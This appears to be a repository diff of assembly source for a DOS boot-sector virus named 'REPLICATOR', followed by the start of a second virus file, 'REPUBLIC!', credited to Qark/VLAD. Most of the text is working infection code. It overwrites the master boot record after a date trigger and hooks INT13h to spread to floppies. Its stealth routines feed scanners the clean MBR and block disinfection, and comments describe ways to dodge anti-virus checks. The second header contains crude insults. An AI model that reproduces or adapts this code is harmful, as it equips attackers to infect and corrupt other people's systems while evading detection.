|
||||
MOV AX,SYS_ID_SEGMENT
|
||||
MOV DS,AX ;Set DS to ROM segment.
|
||||
CMP B[SYS_ID_OFFSET],AT_TAG ;Check system ID byte for AT system tag.
|
||||
PUSH CS
|
||||
POP DS ;Set DS to dropper code segment.
|
||||
JE >D1 ;If AT, check date and store before infection.
|
||||
MOV DROP_MODAY,BAD_TAG ;If not, store hard drive drop date "BAD" tag
|
||||
;in VIRUS_DIR.
|
||||
JMP >D3 ;Then continue infection process.
|
||||
;
|
||||
;Determine if date is equal to or greater than preselected infection date. This allows the
|
||||
;dropper program to pass initial anti-viral scanning/activity monitoring by remaining dormant
|
||||
;until a later date. Also, store month, day and year of pending fixed disk infection in
|
||||
;VIRUS_DIR.
|
||||
;
|
||||
D1:
|
||||
MOV AH,04 ;Set read-date function.
|
||||
INT 01A ;BIOS read-clock interrupt.
|
||||
MOV DROP_YEAR,CX ;Store infection year in VIRUS_DIR.
|
||||
MOV DROP_MODAY,DX ;Store month and day in VIRUS_DIR.
|
||||
CMP CX,01993 ;Compare system year with 1993 trigger year
|
||||
;(CH=century, CL=year, both in BCD).
|
||||
JA >D2 ;If year>trigger year, proceed w/infection.
|
||||
JB >D5 ;If year<trigger year, exit and do not infect.
|
||||
CMP DX,0101 ;Compare system date w/Jan. 1st (DH=month,
|
||||
;DL=day, both in BCD). The date Jan. 1
|
||||
;effectively disables this function.
|
||||
JB >D5 ;If the current date is not => the trigger
|
||||
;date, don't infect.
|
||||
;
|
||||
;Store time of pending fixed disk infection in VIRUS_DIR.
|
||||
;
|
||||
D2:
|
||||
MOV AH,02 ;Select read-time function.
|
||||
INT 01A ;BIOS read-clock interrupt.
|
||||
MOV DROP_TIME,CX ;Store infection hour and minute in VIRUS_DIR.
|
||||
;
|
||||
;Determine if an anti-viral program is monitoring viral activity via INT40h. If so, don't
|
||||
;infect.
|
||||
;
|
||||
D3:
|
||||
PUSH DS ;Preserve DS.
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;Zero DS to point to BIOS data table.
|
||||
CMP B[BIOS40_SEGMENT],ROM_SEGMENT ;Has INT40h been stolen from BIOS ROM by an
|
||||
;anti-virus program?
|
||||
POP DS ;Restore DS.
|
||||
JB >D5 ;If INT40h has been stolen, do not attempt
|
||||
;infection.
|
||||
;
|
||||
;Load MBR.
|
||||
;
|
||||
PUSH CS
|
||||
POP ES ;Set ES to dropper code segment.
|
||||
MOV AX,0201 ;Select read-1-sector function.
|
||||
MOV BX,MBR_BUFFER ;Set disk I/O buffer offset.
|
||||
MOV CX,0001 ;Track 0, sector 1.
|
||||
MOV DX,0080 ;Head 0, fixed disk 1.
|
||||
INT 013 ;Read MBR.
|
||||
JB >D5 ;Exit if flag=failure.
|
||||
;
|
||||
;Check MBR for infection.
|
||||
;
|
||||
CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check for VIRUS_BOOT infection tag.
|
||||
JE >D5 ;If infected then exit.
|
||||
;
|
||||
;Check fixed disk for an unused first track (head 0, cylinder 0) to avoid damaging any FAT
|
||||
;which might be present in that area. This is accomplished by checking the partition table
|
||||
;value which holds the number of the starting head of the first partition. If this number is
|
||||
;equal to or greater than 01, the first track is not in use.
|
||||
;
|
||||
CMP B[BX+PARTITION_OFFSET+1],01 ;Check for unused track on fixed disk by
|
||||
;checking partition table data.
|
||||
JB >D5 ;If in use, exit to avoid damage to FAT.
|
||||
;
|
||||
;Increment hard disk infection counter for pending infection.
|
||||
;
|
||||
INC W[OFFSET HARD_COUNT]
|
||||
;
|
||||
;Write original MBR to its new location. Also, determine if VIRUS_DIR is present on the fixed
|
||||
;disk. If so, don't write VIRUS_DIR to disk so that the previous infection counts and dates
|
||||
;are retained.
|
||||
;
|
||||
MOV AX,0201 ;Select read-1-sector function.
|
||||
MOV BX,MBR_BUFFER+0200 ;Set disk I/O buffer offset.
|
||||
MOV CL,09 ;Track 0, sector 9.
|
||||
INT 013 ;Read VIRUS_DIR sector.
|
||||
JB >D5 ;Exit if flag=failure.
|
||||
CMP W[BX+OFFSET INFECT_TAG2-0400],INF_TAG2 ;Check for VIRUS_DIR infection tag.
|
||||
MOV AX,0302 ;Select write-2-sectors function.
|
||||
MOV BX,VIRUS_DIR ;Specify VIRUS_DIR buffer offset.
|
||||
JNE >D4 ;If VIRUS_DIR is not present, write
|
||||
;both VIRUS_DIR and MBR.
|
||||
MOV AX,0301 ;If present, select write-1-sector
|
||||
;function.
|
||||
MOV BX,MBR_BUFFER ;Specify MBR buffer address.
|
||||
MOV CL,0A ;Specify relocation sector for MBR.
|
||||
D4:
|
||||
INT 013 ;Write to specified sector(s).
|
||||
JB >D5 ;Exit if flag=failure.
|
||||
;
|
||||
;Copy partition table data to virus.
|
||||
;
|
||||
MOV SI,MBR_BUFFER+PARTITION_OFFSET ;Set source offset.
|
||||
MOV DI,VIRUS_BOOT+PARTITION_OFFSET ;Set destination offset.
|
||||
MOV CL,021 ;Set repetition count (number of words) for
|
||||
;partition table move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSW ;Move partition table to virus.
|
||||
;
|
||||
;Write virus to MBR.
|
||||
;
|
||||
MOV AX,0301 ;Select write-1-sector function.
|
||||
MOV BX,VIRUS_BOOT ;Set disk I/O buffer offset.
|
||||
MOV CL,01 ;Track 0, sector 1.
|
||||
INT 013 ;Write virus with attached partition table
|
||||
;to MBR.
|
||||
;
|
||||
;Terminate dropper.
|
||||
;
|
||||
D5:
|
||||
MOV AX,04C00 ;Select terminate w/return code function.
|
||||
INT 021 ;Terminate dropper.
|
||||
;
|
||||
DB 86 DUP 00 ;Pad bytes to avoid possible DMA I/O errors.
|
||||
;
|
||||
;**********************************************************************************************
|
||||
;* *
|
||||
;* REPLICATOR boot sector virus *
|
||||
;* *
|
||||
;**********************************************************************************************
|
||||
;
|
||||
VIRUS_BOOT:
|
||||
;
|
||||
JMP >B1 ;Jump over BPB data to virus entry point.
|
||||
;
|
||||
BPB_START:
|
||||
;
|
||||
DB 60 DUP 00 ;Reserve space for diskette BPB data.
|
||||
;
|
||||
BPB_END:
|
||||
;
|
||||
;------------
|
||||
;Boot routine
|
||||
;------------
|
||||
;
|
||||
;Set location of stack.
|
||||
;
|
||||
B1:
|
||||
XOR AX,AX ;Zero AX.
|
||||
MOV DS,AX ;Zero DS.
|
||||
CLI ;Disable interrupts.
|
||||
MOV SS,AX ;Zero SS.
|
||||
MOV AX,07C00 ;Load location of stack to AX.
|
||||
MOV SP,AX ;Set SP=7C00h.
|
||||
STI ;Enable interrupts.
|
||||
PUSH DS ;Store return address of boot record to be
|
||||
PUSH AX ;popped from the stack when VIRUS_BOOT
|
||||
;returns to it (0000:7C00h).
|
||||
;
|
||||
;Read INT13h segment and offset from BIOS data table and store within VIRUS_BOOT.
|
||||
;
|
||||
MOV AX,W[BIOS13_OFFSET] ;Load BIOS INT13h vector offset stored at
|
||||
;0000:004Ch.
|
||||
MOV W[OFFSET BIOS_OFFSET+07A00],AX ;Store BIOS INT13h offset value in virus data
|
||||
;area.
|
||||
MOV CL,06 ;Set CL for virus segment shift. Location of
|
||||
;this operation chosen to defeat anti-viral
|
||||
;generic code-segment scans.
|
||||
MOV AX,W[BIOS13_SEGMENT] ;Load BIOS INT13h vector segment stored at
|
||||
;0000:004Eh.
|
||||
MOV W[OFFSET BIOS_SEGMENT+07A00],AX ;Store BIOS INT13h segment value in virus data
|
||||
;area.
|
||||
;
|
||||
;Calculate virus upper memory segment value and store within VIRUS_BOOT.
|
||||
;
|
||||
MOV BX,MEM_SIZE ;Load BX with address 0413h. This defeats
|
||||
;anti-viral searches for 0413h MOV operations.
|
||||
MOV AX,W[BX] ;Load memory size (in KB) stored at 0000:0413h.
|
||||
DEC AX ;Calculate value for 2KB reduction of
|
||||
DEC AX ;conventional memory.
|
||||
SHL AX,CL ;Calculate virus segment.
|
||||
MOV W[OFFSET REENTRY_SEGMENT+07A00],AX ;Store virus segment value in virus data area.
|
||||
MOV ES,AX ;Store in ES to be used to move virus to top of
|
||||
;conventional memory.
|
||||
;
|
||||
;Move VIRUS_BOOT from 0000:7C00h to top of memory - 2KB.
|
||||
;
|
||||
MOV SI,07C00 ;Set source offset address for virus move.
|
||||
XOR DI,DI ;Set destination offset address to 0000h.
|
||||
MOV CX,0100 ;Set repetition count (number of words) for
|
||||
;move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSW ;Move virus from DS:7C00h to ES:0000h.
|
||||
CS JMP D[OFFSET REENTRY_OFFSET+07A00] ;Jump to self in new location via stored
|
||||
;address.
|
||||
;
|
||||
;Load VIRUS_DIR and original boot sector/MBR to top of memory - 1.5KB.
|
||||
;
|
||||
NEW_LOCATION:
|
||||
;
|
||||
PUSH CS
|
||||
POP DS ;Set DS=CS.
|
||||
MOV AX,0202 ;Select read-2-sectors function.
|
||||
MOV BX,0200 ;Set disk I/O buffer offset.
|
||||
MOV CL,B[OFFSET SECTOR-0200] ;VIRUS_DIR sector determined by value stored in
|
||||
;VIRUS_BOOT.
|
||||
CMP CL,09 ;Test for hard drive (HD) boot.
|
||||
JE >B2 ;Yes, booted from HD.
|
||||
INC DH ;Select head 1, floppy drive DL.
|
||||
B2:
|
||||
INT 013 ;Read VIRUS_DIR and original boot record.
|
||||
JNB >B3 ;Continue if flag=success.
|
||||
JMP B5 ;Exit if flag=failure.
|
||||
;
|
||||
;Copy original boot sector/MBR down to 0000:7C00h for later execution.
|
||||
;
|
||||
B3:
|
||||
XOR AX,AX ;Zero AX.
|
||||
MOV ES,AX ;Zero ES (destination segment value).
|
||||
MOV SI,0400 ;Set source offset address for virus move.
|
||||
MOV DI,07C00 ;Set destination offset address for move.
|
||||
MOV CX,0100 ;Set repetition count (# of words) for move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSW ;Copy original boot record to 0000:7C00h.
|
||||
;
|
||||
;Determine if the virus is already installed on the system in the memory above. If it is, in
|
||||
;order to prevent multiple installations of the virus in memory and the problems that this can
|
||||
;cause, the virus will be removed from memory. This will be done by restoring the BIOS data
|
||||
;table values that it has changed to their original, pre-infection values.
|
||||
;
|
||||
CMP W[OFFSET INFECT_TAG1+0600],INF_TAG1 ;Check for presence of virus above us.
|
||||
JNE >B4 ;If it's not there, exit removal routine.
|
||||
MOV AX,W[OFFSET BIOS_OFFSET+0600] ;Get the pre-infection INT13h offset value from
|
||||
;the virus installed in memory.
|
||||
PUSH AX ;Save that value on the stack.
|
||||
MOV AX,W[OFFSET BIOS_SEGMENT+0600] ;Get the pre-infection INT13h segment value.
|
||||
PUSH DS ;Preserve DS.
|
||||
XOR BX,BX ;Zero BX.
|
||||
MOV DS,BX ;Zero DS.
|
||||
MOV W[BIOS13_SEGMENT],AX ;Restore BIOS data table to pre-infection
|
||||
;segment value.
|
||||
POP AX ;Pop pre-infection offset value from stack.
|
||||
MOV W[BIOS13_OFFSET],AX ;Restore BIOS data table to pre-infection
|
||||
;offset value.
|
||||
MOV BX,MEM_SIZE ;Move data table address for conventional
|
||||
;memory size into BX.
|
||||
ADD W[BX],02 ;Increase memory size value by 2KB to restore
|
||||
;it to pre-infection value.
|
||||
POP DS ;Restore DS.
|
||||
JMP >B5 ;Exit without installing virus in memory.
|
||||
;
|
||||
;Test for HD boot and, if true, install virus in memory.
|
||||
;
|
||||
B4:
|
||||
CMP DL,080 ;Booted from HD?
|
||||
JE >B6 ;If so, install virus and exit.
|
||||
;
|
||||
;Must be booting from floppy, so load MBR to top of memory - 1KB.
|
||||
;
|
||||
PUSH CS
|
||||
POP ES ;Set ES=CS.
|
||||
MOV AX,0201 ;Select read-1-sector function.
|
||||
MOV BX,0400 ;Set disk I/O buffer offset.
|
||||
MOV CL,01 ;Track 0, sector 1.
|
||||
MOV DX,0080 ;Head 0, HD 1.
|
||||
INT 013 ;Read MBR.
|
||||
JB >B5 ;Exit if flag=failure and do not steal INT13h.
|
||||
;
|
||||
;Check MBR for infection.
|
||||
;
|
||||
CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check MBR for infection tag.
|
||||
JE >B5 ;If infected, exit and do not steal INT13h.
|
||||
;
|
||||
;Check fixed disk for an unused first track (head 0, cylinder 0) to avoid damaging any FAT
|
||||
;which might be present in that area.
|
||||
;
|
||||
CMP B[BX+PARTITION_OFFSET+1],01 ;Check for unused track on HD by checking
|
||||
;partition table data (start head => 1).
|
||||
JB >B5 ;If first track is in use, exit to avoid
|
||||
;FAT damage and do not steal INT13h vector.
|
||||
;
|
||||
;Increment hard disk infection counter for pending infection.
|
||||
;
|
||||
INC W[OFFSET HARD_COUNT-0200]
|
||||
;
|
||||
;Write VIRUS_DIR and original MBR to fixed disk sectors 09h and 0Ah respectively.
|
||||
;
|
||||
MOV AX,0302 ;Select write-2-sectors function.
|
||||
MOV BX,0200 ;Set disk I/O buffer offset.
|
||||
MOV CL,09 ;Track 0, sector 9.
|
||||
MOV B[OFFSET SECTOR-0200],CL ;Store destination sector number in VIRUS_BOOT.
|
||||
INT 013 ;Move VIRUS_DIR to sector 09h and original MBR
|
||||
;to sector 0Ah.
|
||||
JB >B5 ;Exit if flag=failure and do not steal INT13h.
|
||||
;
|
||||
;Copy partition table data to VIRUS_BOOT.
|
||||
;
|
||||
MOV SI,PARTITION_OFFSET+0400 ;Set source offset.
|
||||
MOV DI,PARTITION_OFFSET ;Set destination offset.
|
||||
MOV CL,021 ;Set repetition count (# of words) move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSW ;Move partition table to virus.
|
||||
;
|
||||
;Write VIRUS_BOOT to MBR and exit without installing virus in memory. Subsequent HD boot will
|
||||
;do this.
|
||||
;
|
||||
MOV AX,0301 ;Select write-1-sector function.
|
||||
XOR BX,BX ;Set disk I/O buffer offset.
|
||||
MOV CL,01 ;Track 0, sector 1.
|
||||
INT 013 ;Write virus w/attached partition table to MBR.
|
||||
B5:
|
||||
XOR DX,DX ;Restore DX back to value at floppy boot
|
||||
;(head 0, drive 0).
|
||||
RETF ;Exit, do not steal INT13h or reduce mem. size.
|
||||
;Return to boot sector code at 0000:7C00h.
|
||||
;
|
||||
;Steal BIOS INT13h vector and reduce memory size to install virus as TSR.
|
||||
;
|
||||
B6:
|
||||
MOV BX,W[OFFSET REENTRY_SEGMENT-0200] ;Load VIRUS_DIR segment value to BX.
|
||||
XOR AX,AX ;Zero AX.
|
||||
MOV DS,AX ;Zero DS.
|
||||
MOV W[BIOS13_SEGMENT],BX ;Point INT13h vector to VIRUS_DIR
|
||||
;segment.
|
||||
MOV W[BIOS13_OFFSET],OFFSET VIRUS_INT-0200 ;Point INT13h vector to VIRUS_INT
|
||||
;INT13h handler offset in VIRUS_DIR.
|
||||
MOV BX,MEM_SIZE ;Load BIOS data table address for
|
||||
;memory size to BX.
|
||||
SUB W[BX],02 ;Reduce memory by 2KB to protect virus
|
||||
;area from being overwritten by other
|
||||
;programs.
|
||||
RETF ;Return to boot sector code at
|
||||
;0000:7C00h.
|
||||
;
|
||||
;Reserve storage locations for virus data and preset some known values.
|
||||
;
|
||||
BIOS_OFFSET DW ? ;BIOS INT13 offset.
|
||||
BIOS_SEGMENT DW ? ;BIOS INT13 segment.
|
||||
REENTRY_OFFSET DW NEW_LOCATION-0200 ;Virus reentry offset.
|
||||
REENTRY_SEGMENT DW ? ;Virus reentry segment.
|
||||
INFECT_TAG1 DW INF_TAG1 ;Infection tag for VIRUS_BOOT.
|
||||
SECTOR DB 09 ;Sector # containing VIRUS_DIR.
|
||||
;
|
||||
VIRUS_BOOT_END:
|
||||
;
|
||||
;Reserve end-of-sector text area and establish valid boot record tag.
|
||||
;
|
||||
DB 195 DUP 00 ;End-of-sector pad bytes.
|
||||
DB 055,0AA ;Boot record tag.
|
||||
;
|
||||
SECTOR_END:
|
||||
;
|
||||
;End of boot sector/MBR viral code.
|
||||
;----------------------------------------------------------------------------------------------
|
||||
;Start of directory sector viral code.
|
||||
;
|
||||
VIRUS_DIR:
|
||||
;
|
||||
;Create four empty root directory entries at the beginning of the sector.
|
||||
;
|
||||
DB 128 DUP 00
|
||||
;
|
||||
;--------------
|
||||
;INT13h Handler
|
||||
;--------------
|
||||
;
|
||||
VIRUS_INT:
|
||||
;
|
||||
CMP DL,080 ;Hard drive I/O?
|
||||
JNE >F1 ;No, exit to floppy test routine.
|
||||
;
|
||||
;Stealth routine to return original, uninfected MBR to any anti-viral scan program. Also,
|
||||
;prevents writes to the MBR to prevent disinfection of the fixed disk while the virus is
|
||||
;active in memory.
|
||||
;
|
||||
CMP CX,0001 ;Track 0, sector 1?
|
||||
JNE >U1 ;If not, no need for the stealth routine.
|
||||
;Instead, jump to infect. count. update.
|
||||
CMP DH,00 ;Head 0?
|
||||
JNE >E2 ;If not, exit stealth routine.
|
||||
CMP AH,03 ;Write sector?
|
||||
JE >S1 ;Yes, simulate I/O.
|
||||
PUSH CX ;Preserve CX (track/sector #).
|
||||
MOV CL,0A ;Redirect I/O to sector 0Ah, the new location
|
||||
;of the original MBR.
|
||||
PUSHF
|
||||
CS CALL D[OFFSET BIOS_OFFSET-0200] ;Send scan program original MBR
|
||||
;instead of infected MBR.
|
||||
POP CX ;Restore original track/sector value requested
|
||||
;the calling routine. Anti-viral scanner will
|
||||
;monitor the contents of CL upon return.
|
||||
S1:
|
||||
XOR AH,AH ;Zero AH to simulate return value of
|
||||
;successful I/O.
|
||||
CLC ;Clear carry flag to simulate successful I/O
|
||||
;to calling routine.
|
||||
RETF 2 ;Return to calling routine.
|
||||
;
|
||||
;Infection counter update routine writes VIRUS_DIR containing the lastest floppy infection
|
||||
;counter value to the hard drive only if there has been a diskette infection since the last
|
||||
;hard drive access.
|
||||
;
|
||||
U1:
|
||||
PUSH DS ;Preserve DS.
|
||||
PUSH CS
|
||||
POP DS ;Set DS=CS
|
||||
CMP B[OFFSET UPDATE_FLAG-0200],SET ;Floppy infected since last HD access?
|
||||
JNE >U2 ;No, exit counter update routine.
|
||||
MOV B[OFFSET UPDATE_FLAG-0200],CLEAR ;Yes, clear floppy infect flag.
|
||||
PUSH ES ;Preserve ES.
|
||||
PUSH CS
|
||||
POP ES ;Set ES=CS
|
||||
PUSH AX ;Preserve registers.
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV AX,0301 ;Select write-1-sector function.
|
||||
MOV BX,0200 ;Set disk I/O buffer start address.
|
||||
MOV CX,0009 ;Specify track 0, sector 9.
|
||||
MOV DH,00 ;Specify head 0.
|
||||
PUSHF
|
||||
CS CALL D[OFFSET BIOS_OFFSET-0200] ;Save VIRUS_DIR w/new infect. count to HD.
|
||||
POP DX ;Restore registers
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP ES
|
||||
U2:
|
||||
POP DS
|
||||
JMP >E2 ;Exit to handler exit.
|
||||
;
|
||||
;Check the INT13h register values for drive A or B read or write request. This prevents
|
||||
;problems caused by the virus infecting a diskette during format. Also, by limiting infection
|
||||
;attempts to the first two floppy drives, it avoids the problems it would cause to a tape
|
||||
;backup system emulating a third or fourth floppy drive.
|
||||
;
|
||||
F1:
|
||||
PUSH DS ;Preserve DS.
|
||||
PUSH AX ;Preserve AX.
|
||||
CMP DL,01 ;Floppy I/O (A or B)?
|
||||
JA >E1 ;No, don't infect.
|
||||
CMP AH,02 ;Check for read function.
|
||||
JB >E1 ;Exit if below read function.
|
||||
CMP AH,03 ;Check for write function.
|
||||
JA >E1 ;Exit if above write function.
|
||||
;
|
||||
;Check diskette motor status to limit infection attempt to first INT13h call thereby preventing
|
||||
;suspicious floppy drive noises.
|
||||
;
|
||||
XOR AX,AX ;Zero AX.
|
||||
MOV DS,AX ;Zero DS.
|
||||
MOV AL,DL ;Move motor-on test bit into AL.
|
||||
INC AL ;Position bit for floppy 'DL'.
|
||||
TEST B[MOTOR_ON],AL ;Test for floppy motor on.
|
||||
JNE >E1 ;Yes, don't infect.
|
||||
;
|
||||
;Check for presence of TSR anti-viral monitoring program to avoid detection of boot sector
|
||||
;write by virus. If present, don't attempt infection.
|
||||
;
|
||||
CMP B[BIOS40_SEGMENT],ROM_SEGMENT ;Has INT40h been stolen from BIOS ROM by an
|
||||
;anti-virus program?
|
||||
JB >E1 ;If so, do not attempt infection.
|
||||
;
|
||||
;Infect floppy.
|
||||
;
|
||||
POP AX ;Restore AX.
|
||||
POP DS ;Restore DS.
|
||||
PUSHF
|
||||
CS CALL D[OFFSET BIOS_OFFSET-0200] ;Give calling routine what it wants.
|
||||
PUSHF ;Preserve flags.
|
||||
CALL >F2 ;Then attempt infection.
|
||||
POPF ;Restore flags to hide I/O errors.
|
||||
RETF 2 ;Return to calling routine.
|
||||
;
|
||||
;Jump to BIOS.
|
||||
;
|
||||
E1:
|
||||
POP AX ;Restore AX.
|
||||
POP DS ;Restore DS.
|
||||
E2:
|
||||
CS JMP D[OFFSET BIOS_OFFSET-0200] ;Jump through BIOS to calling routine.
|
||||
;
|
||||
;Diskette infection routine.
|
||||
;
|
||||
F2:
|
||||
PUSH AX ;Preserve all registers.
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
;
|
||||
;Check system type to determine if the INT1Ah read-real-time-clock function is supported (AT
|
||||
;or better). If not, skip the date check/storage process and store floppy infection "BAD"
|
||||
;date tag in VIRUS_DIR.
|
||||
;
|
||||
MOV AX,SYS_ID_SEGMENT
|
||||
MOV DS,AX ;Set DS to ROM offset.
|
||||
CMP B[SYS_ID_OFFSET],AT_TAG ;Check system ID byte for AT system tag.
|
||||
PUSH CS
|
||||
POP DS ;Set DS to point to dropper segment.
|
||||
JE >F3 ;If AT, check date and store before infection.
|
||||
MOV W[OFFSET FLOPPY_MODAY-0200],BAD_TAG ;Store date "BAD" tag in VIRUS_DIR.
|
||||
JMP >F4 ;Then continue infection process.
|
||||
;
|
||||
;Store month, day and year of pending floppy diskette infection in VIRUS_DIR.
|
||||
;
|
||||
F3:
|
||||
PUSH DX
|
||||
MOV AH,04 ;Set read-date function.
|
||||
INT 01A ;BIOS read-clock interrupt.
|
||||
MOV W[OFFSET FLOPPY_YEAR-0200],CX ;Store infection year in VIRUS_DIR.
|
||||
MOV W[OFFSET FLOPPY_MODAY-0200],DX ;Store month and day in VIRUS_DIR.
|
||||
;
|
||||
;Store time of pending floppy diskette infection in VIRUS_DIR.
|
||||
;
|
||||
MOV AH,02 ;Select read-time function.
|
||||
INT 01A ;BIOS read-clock interrupt.
|
||||
MOV W[OFFSET FLOPPY_TIME-0200],CX ;Store infection hour and minute in VIRUS_DIR.
|
||||
POP DX
|
||||
;
|
||||
;Load diskette boot sector to top of memory - 1KB.
|
||||
;
|
||||
F4:
|
||||
PUSH CS
|
||||
POP ES ;Set ES=CS.
|
||||
MOV AX,0201 ;Select read-1-sector function.
|
||||
MOV BX,0400 ;Set disk I/O buffer offset.
|
||||
MOV CX,0001 ;Track 0, sector 1.
|
||||
MOV DH,00 ;Head 0, drive DL.
|
||||
PUSHF
|
||||
CALL D[OFFSET BIOS_OFFSET-0200] ;Read drive DL boot sector to buffer by
|
||||
;calling INT13h routine in BIOS ROM.
|
||||
JNB >F5 ;Proceed with infection if flag=success.
|
||||
JMP F7 ;Otherwise, exit.
|
||||
;
|
||||
;Check diskette boot sector for infection.
|
||||
;
|
||||
F5:
|
||||
CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check for VIRUS_BOOT infection tag.
|
||||
JE >F7 ;If infected, then exit.
|
||||
;
|
||||
;Determine diskette type from BPB data to allow VIRUS_DIR and original boot sector to be
|
||||
;written to the last two root directory sectors. This maximizes the number of files that can
|
||||
;be stored on the diskette after infection. Also, detect non-standard formats and do not
|
||||
;infect to prevent damage.
|
||||
;
|
||||
MOV CL,02 ;VIRUS_DIR sector for 360K.
|
||||
MOV AX,W[BX+BPB_NUM_SECT] ;Load # sect. on floppy from BPB.
|
||||
CMP AX,02D0 ;Check for # sectors on 360K.
|
||||
JE >F6 ;Exit if 360K floppy.
|
||||
MOV CL,04 ;VIRUS_DIR sector for 720K.
|
||||
CMP AX,05A0 ;Check for # sectors on 720K.
|
||||
JE >F6 ;Exit if 720K floppy.
|
||||
MOV CL,0D ;VIRUS_DIR sector for 1.2M.
|
||||
CMP AX,0960 ;Check for # sectors on 1.2M.
|
||||
JE >F6 ;Exit if 1.2M floppy.
|
||||
MOV CL,0E ;VIRUS_DIR sector for 1.44M.
|
||||
CMP AX,0B40 ;Check for # sectors on 1.44M.
|
||||
JE >F6 ;Exit if 1.44M floppy.
|
||||
JMP >F7 ;Non-standard disk format, exit to avoid
|
||||
;damage.
|
||||
;
|
||||
;Load the first of the two root directory sectors that will be used to store the VIRUS_DIR
|
||||
;and original boot sector to top of memory - 0.5KB.
|
||||
;
|
||||
F6:
|
||||
MOV B[OFFSET SECTOR-0200],CL ;Store destination sector # in VIRUS_BOOT.
|
||||
MOV AX,0201 ;Select read sector function.
|
||||
MOV BX,0600 ;Set disk I/O buffer offset.
|
||||
INC DH ;Head 1, drive DL.
|
||||
PUSHF
|
||||
CALL D[OFFSET BIOS_OFFSET-0200] ;Load destination sector.
|
||||
JB >F7 ;Exit if flag=failure.
|
||||
;
|
||||
;Confirm that the directory sector chosen to be the future location of VIRUS_DIR is empty
|
||||
;before attempting infection. This prevents the loss of files which would result from
|
||||
;the overwriting of root directory entries by the virus.
|
||||
;
|
||||
CMP B[BX],00 ;Empty root directory entry?
|
||||
JNE >F7 ;No, so exit and don't infect disk.
|
||||
;
|
||||
;Copy the original boot sector's BPB to VIRUS_BOOT to allow functional infection of any
|
||||
;diskette type.
|
||||
;
|
||||
MOV SI,BPB_START+0200 ;Set source offset.
|
||||
MOV DI,BPB_START-0200 ;Set destination offset.
|
||||
MOV CL,BPB_END-BPB_START ;Set repetition count (# of bytes) for move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSB ;Move BPB to virus to allow functional
|
||||
;infection of any diskette format.
|
||||
;
|
||||
;Copy original boot sector end-of-sector text to VIRUS_BOOT to prevent easily visible changes
|
||||
;to boot sector.
|
||||
;
|
||||
MOV SI,VIRUS_BOOT_END+0200 ;Set source offset.
|
||||
MOV DI,VIRUS_BOOT_END-0200 ;Set destination offset.
|
||||
MOV CL,SECTOR_END-VIRUS_BOOT_END ;Set repetition count (number of bytes) for
|
||||
;text move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSB ;Move end-of-sector text to virus to prevent
|
||||
;easily visible change to boot sector.
|
||||
;
|
||||
;Write VIRUS_BOOT to diskette boot sector.
|
||||
;
|
||||
MOV AX,0301 ;Select write-1-sector function.
|
||||
XOR BX,BX ;Set disk I/O buffer offset.
|
||||
MOV CL,01 ;Track 0, sector 1.
|
||||
DEC DH ;Head 0, drive DL.
|
||||
PUSHF
|
||||
CALL D[OFFSET BIOS_OFFSET-0200] ;Write infected boot sector.
|
||||
JB >F7 ;Exit if flag=failure.
|
||||
;
|
||||
;Increment floppy infection count.
|
||||
;
|
||||
INC W[OFFSET FLOPPY_COUNT-0200]
|
||||
;
|
||||
;Clear diskette infection flag.
|
||||
;
|
||||
MOV B[OFFSET UPDATE_FLAG-0200],CLEAR
|
||||
;
|
||||
;Write VIRUS_DIR and original boot sector to appropriate sectors.
|
||||
;
|
||||
MOV AX,0302 ;Select write-2-sectors function.
|
||||
MOV BX,0200 ;Set disk I/O buffer offset.
|
||||
MOV CL,B[OFFSET SECTOR-0200] ;Track 0, sector stored at 0189h.
|
||||
INC DH ;Head 1, drive DL.
|
||||
PUSHF
|
||||
CALL D[OFFSET BIOS_OFFSET-0200] ;Relocate boot sector.
|
||||
;
|
||||
;Set diskette infection flag.
|
||||
;
|
||||
MOV B[OFFSET UPDATE_FLAG-0200],SET
|
||||
;
|
||||
;Exit diskette infection routine.
|
||||
;
|
||||
F7:
|
||||
POP DI ;Restore all registers.
|
||||
POP SI
|
||||
POP ES
|
||||
POP DS
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RET ;Return to infection routine exit.
|
||||
;
|
||||
;Virus data area.
|
||||
;
|
||||
HARD_COUNT DW ? ;Number of HD infections since drop.
|
||||
DROP_MODAY DW ? ;Month and day of HD drop.
|
||||
DROP_YEAR DW ? ;Year of HD drop.
|
||||
DROP_TIME DW ? ;Time of HD drop.
|
||||
FLOPPY_COUNT DW ? ;Number of floppy infections since drop.
|
||||
FLOPPY_MODAY DW ? ;Month and day of last floppy infection.
|
||||
FLOPPY_YEAR DW ? ;Year of last floppy infection.
|
||||
FLOPPY_TIME DW ? ;Time of last floppy infection.
|
||||
INFECT_TAG2 DW INF_TAG2 ;Infection tag for VIRUS_DIR.
|
||||
UPDATE_FLAG DB CLEAR ;Flag indicating floppy infection since last
|
||||
;HD access.
|
||||
;
|
||||
DB 3 DUP 00 ;End-of-sector pad bytes.
|
||||
;
|
||||
;End of directory sector viral code.
|
||||
;----------------------------------------------------------------------------------------------
|
||||
;Start of MBR disk buffer.
|
||||
;
|
||||
MBR_BUFFER:
|
||||
;
|
||||
;----------------------------------------------------------------------------------------------
|
||||
;
|
||||
CODE ENDS
|
||||
|
|
@ -0,0 +1,830 @@
|
|||
|
||||
; REPUBLIC!
|
||||
; +-------+ Qark/VLAD
|
||||
;
|
||||
;
|
||||
; This virus is named because I (and metabolis) support a republic for
|
||||
; Australia. Fuck the Union Jack off from our flag... we want something
|
||||
; Australian in there... and an Australian head of state not some pommy
|
||||
; bitch Queen and her corgis.
|
||||
;
|
||||
; A funny thing: I wrote a full-on MTE/TPE/DAME type polymorphic engine
|
||||
; for this virus, but TBScan found it every time! But when i do the
